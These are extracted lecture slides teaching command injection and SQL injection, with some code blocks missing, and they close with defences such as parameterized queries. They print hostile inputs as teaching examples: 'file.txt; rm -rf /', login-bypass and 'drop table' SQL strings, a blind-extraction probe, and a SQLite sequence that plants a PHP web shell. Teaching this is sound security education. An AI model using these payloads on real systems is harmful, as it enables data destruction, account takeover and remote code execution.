Lecture 10
Lecture 10
Code Injection
1 Feross Aboukhadijeh
Admin
TODO
2 Feross Aboukhadijeh
Review: Code Injection
• We've already seen Cross Site Scripting (XSS)
• User-supplied data is received, manipulated, acted upon
• The code that the interpreter processes is a mix of the instructions
written by the programmer and the data supplied by the user
• Attacker supplies input that breaks out of the data context (usually by
supplying some syntax that has special significance)
• Attacker input gets interpreted as program instructions, which are
executed as if they were written by the original programmer
3 Feross Aboukhadijeh
Command injection
• Goal: Execute arbitrary commands on the host operating system via
a vulnerable application
• Command injection attacks are possible when an application passes
unsafe user supplied data (forms, cookies, HTTP headers, etc.) to a
system shell
4 Feross Aboukhadijeh
Command injection in Node.js
• Vulnerable code:
• Input:
file.txt
• Resulting command:
cat file.txt
5 Feross Aboukhadijeh
Command injection in Node.js
• Vulnerable code:
• Malicious input:
file.txt; rm -rf /
• Resulting command:
6 Feross Aboukhadijeh
Demo: Insecure cat program
7 Feross Aboukhadijeh
Demo: Insecure cat program
const childProcess = require('child_process')
• Inputs to try:
• file.txt
8 Feross Aboukhadijeh
Demo: Insecure file server
const app = express()
app.listen(8000, '127.0.0.1')
9 Feross Aboukhadijeh
Demo: More secure file server (but still insecure)
app.get('/view', (req, res) => {
const { filename } = req.query
const child = childProcess.spawnSync('cat', [filename])
if (child.status !== 0) {
res.send(child.stderr.toString())
} else {
res.send(child.stdout.toString())
}
})
10 Feross Aboukhadijeh
Running commands safely
• Unsafe
const filename = process.argv[2]
const stdout = childProcess.execSync(`cat ${filename}`)
• Safe
const filename = process.argv[2]
const { stdout } = childProcess.spawnSync('cat', [filename])
11 Feross Aboukhadijeh
SQL injection
• Goal: Execute arbitrary queries to the database via a vulnerable
application
• Read sensitive data from the database, modify database data,
execute administration operations on the database, and
sometimes issue commands to the operating system
• Like all command injection, attack is possible when an application
combines unsafe user supplied data (forms, cookies, HTTP headers,
etc.) with a SQL query "template".
12 Feross Aboukhadijeh
13 Feross Aboukhadijeh
SQL injection
• Vulnerable code:
14 Feross Aboukhadijeh
SQL injection
• SQL template:
SELECT * FROM users WHERE username = "${username}"
• Input:
{ username: 'feross' }
• Resulting query:
SELECT * FROM users WHERE username = "feross"
15 Feross Aboukhadijeh
SQL injection
• SQL template:
SELECT * FROM users WHERE username = "${username}"
• Questionable Input:
{ username: 'feross"' }
• Resulting query:
SELECT * FROM users WHERE username = "feross""
16 Feross Aboukhadijeh
SQL injection
• SQL template:
SELECT * FROM users WHERE username = "${username}"
• Questionable Input:
{ username: 'feross"--' } // -- is a SQL comment
• Resulting query:
SELECT * FROM users WHERE username = "feross"--"
17 Feross Aboukhadijeh
SQL injection
• SQL template:
SELECT * FROM users WHERE username = "${username}"
• Malicious Input:
{ username: 'feross" OR 1=1 --' } // -- is a SQL comment
• Resulting query:
SELECT * FROM users WHERE username = "feross" OR 1=1 --"
18 Feross Aboukhadijeh
SQL injection
• SQL template:
SELECT * FROM users WHERE username = "${username}"
• Malicious Input:
{ username: '" OR 1=1 --' } // 1=1 is always true
• Resulting query:
SELECT * FROM users WHERE username = "" OR 1=1 --"
19 Feross Aboukhadijeh
SQL injection
const { username, password } = req.body
// { username: '" OR 1=1 --', password: '...' }
const query = `SELECT * FROM users WHERE username = "${username}"`
// SELECT * FROM users WHERE username = "" OR 1=1 --"
const results = db.all(query)
// all rows in the users table!
if (results.length > 0) {
// will always be true!
}
20 Feross Aboukhadijeh
SQL injection
• SQL template:
SELECT * FROM users WHERE username = "${username}"
• Malicious Input:
{ username: '"; drop table users --' } // ; is query terminator
• Resulting query:
SELECT * FROM users WHERE username = ""; drop table users --"
21 Feross Aboukhadijeh
Demo: SQL injection
22 Feross Aboukhadijeh
Demo: SQL injection
app.post('/login', (req, res) => {
const { username, password } = req.body
const query = `SELECT * FROM users WHERE username = "${username}" AND password = "${password}"`
db.get(query, (err, row) => {
if (err) {
console.error(err)
res.send('fail!')
return
}
if (!row) {
res.send('fail!')
return
}
/* Success */
})
})
• " OR balance > 1000000 -- (log into first account with lots of money)
23 Feross Aboukhadijeh
Demo: SQL injection
db.exec(`INSERT INTO logs VALUES ("Login attempt from ${username}")`)
24 Feross Aboukhadijeh
25 Feross Aboukhadijeh
Blind SQL injection
• When the database does not output data to the web page, an attacker is
forced to steal data by asking the database a series of true or false
questions
• The web app may be configured to show generic error messages
instead of printing useful data to the user, but still vulnerable to SQL
injection
• Goal: Ask the database true or false questions and determine the answer
based on the application's response
• Much harder to exploit, but not impossible
26 Feross Aboukhadijeh
Blind SQL injection
• Content-based
• If page responds differently depending on if the query matches
something or not, attacker can use this to ask "yes or no" questions
• Time-based
• Make the database pause for a specified amount of time when the
query matches something, otherwise return immediately
• Different timings are observable by attacker, so again, attacker can
ask "yes or no" questions
27 Feross Aboukhadijeh
Time-based blind SQL injection
• SQL template:
SELECT * FROM users WHERE username = "${username}"
• Attacker input:
{ username: 'alice" AND SUBSTR(password,1,1) = CHAR(112) --' }
• Resulting query:
SELECT * FROM users WHERE username = "alice" AND SUBSTR(password,1,1) = CHAR(112) --"
28 Feross Aboukhadijeh
Time-based blind SQL injection
• Remember: Cannot observe difference in page output when first
character guess is correct or not
• We need some way to make the behavior observably different when
our guess is correct
• Can we make the query take a long time to run when our first
character guess is correct?
• If so, then we can figure out first character. Then, repeat!
29 Feross Aboukhadijeh
Time-based blind SQL injection
• Slow SQL expression:
SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000/2))))
• Use a SQL if-statement (CASE) to run the slow expression only when
the answer to our question is "true"
SELECT CASE expression WHEN cond THEN slow ELSE speedy END
30 Feross Aboukhadijeh
Time-based blind SQL injection
• SQL template:
• Attacker input:
• Resulting query:
31 Feross Aboukhadijeh
Demo: Time-based blind SQL
injection
32 Feross Aboukhadijeh
Demo: Time-based blind SQL injection
33 Feross Aboukhadijeh
const got = require('got')
init()
34 Feross Aboukhadijeh
Problem: Application-level access
control
• Unprivileged users and administrators use the same code paths to interact
with the database
• Web app server handles all access control decisions
• Decides which database operations to allow based on the user's account
• SQL injection modifies the query and thus bypasses the app's access
controls entirely
• Ideas to improve this design?
35 Feross Aboukhadijeh
Remote command execution from
SQL
• Database servers often let you run arbitrary shell commands!
36 Feross Aboukhadijeh
Remote command execution from
SQLite
• No shell execution function, but it let's you create new database
files
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET["cmd"]); ?>'); --
37 Feross Aboukhadijeh
SQL injection defenses
• Never build SQL queries with string concatenation!
• Instead, use one of the following:
• Parameterized SQL
• Object Relational Mappers (ORMs)
38 Feross Aboukhadijeh
Parameterized SQL
Vulnerable code:
const query = `SELECT * FROM users WHERE username = "${username}"`
const results = db.all(query)
Safe code:
const query = 'SELECT * FROM users WHERE username = ?'
const results = db.all(query, username)
• Will automatically handle escaping untrusted user input for you
39 Feross Aboukhadijeh
Objection relational mappers (ORMs)
• ORMs provide a JavaScript object interface for a relational database
• Will automatically handle escaping untrusted user input for you
40 Feross Aboukhadijeh
Final thoughts
• SQL injection attacks are possible when the application combines
unsafe user supplied data with SQL query strings
• Very common problem
• Easy solution: Use parameterized SQL to sanitize the user input
automatically; do not attempt to do it yourself
41 Feross Aboukhadijeh
END
Credits:
https://xkcd.com/327/
42 Feross Aboukhadijeh